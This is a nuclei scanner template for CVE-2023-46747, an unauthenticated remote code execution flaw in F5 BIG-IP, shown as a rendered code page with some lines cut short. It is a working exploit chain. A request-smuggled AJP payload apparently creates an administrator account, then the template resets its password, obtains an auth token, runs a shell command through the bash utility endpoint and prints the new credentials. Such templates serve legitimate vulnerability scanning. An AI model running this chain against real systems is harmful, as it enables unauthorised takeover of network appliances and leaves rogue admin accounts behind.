nuclei-templates / http / cves / 2023 / CVE-2023-46747.yaml

94 lines (80 loc) · 3.84 KB

Code Blame Raw

```yaml
id: CVE-2023-46747

info:
  name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that cou
  reference:
    - https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-202
    - https://my.f5.com/manage/s/article/K000137353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46747
    cwe-id: CWE-288
    epss-score: 0.00841
    epss-percentile: 0.80214
  metadata:
    verified: true
    max-request: 4
    shodan-query: http.title:"BIG-IP&reg;-+Redirect" +"Server"
  tags: cve,cve2023,rce,f5,bigip,unauth,ajp,smuggling,intrusive
variables:
  username: "{{hex_encode(rand_base(5))}}"
```

```
26      password: "{{hex_encode(rand_base(12))}}"
27      password2: "{{rand_base(14)}}"
28
29    http:
30      - raw:
31          - |+
32            POST /tmui/login.jsp HTTP/1.1
33            Host: {{Hostname}}
34            Transfer-Encoding: chunked, chunked
35            Content-Type: application/x-www-form-urlencoded
36
37            204
38            {{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d000009
39            0
40
41        unsafe: true
42
43      - raw:
44          - |+
45            PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1
46            Host: {{Hostname}}
47            Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}
48            Content-Type: application/json
49
50            {"password": "{{password2}}"}
51
52          - |+
53            POST /mgmt/shared/authn/login HTTP/1.1
54            Host: {{Hostname}}
55            Content-Type: application/json
56
57            {"username":"{{hex_decode(username)}}", "password":"{{password2}}"}
58
59          - |+
60            POST /mgmt/tm/util/bash HTTP/1.1
61            Host: {{Hostname}}
62            X-F5-Auth-Token: {{token}}
63            Content-Type: application/json
64
65            {"command":"run","utilCmdArgs":"-c id"}
66
67        extractors:
68          - type: regex
69            part: body_2
70            name: token
71            group: 1
```

```
72            regex:
73              - "([A-Z0-9]{26})"
74            internal: true
75
76          - type: regex
77            part: body_3
78            group: 1
79            regex:
80              - "\"commandResult\":\"(.*)\""
81
82          - type: dsl
83            dsl:
84              - '"Username:" + hex_decode(username)'
85              - '"Password:" + password2'
86              - '"Token:" + token'
87        matchers:
88          - type: word
89            words:
90              - "commandResult"
91              - "uid="
92            condition: and
93
94    # digest: 4b0a00483046022100f3feb0f8c5aab06503953b28079fdb0bb58850940db4d96a88c254734d2a9976022100b
```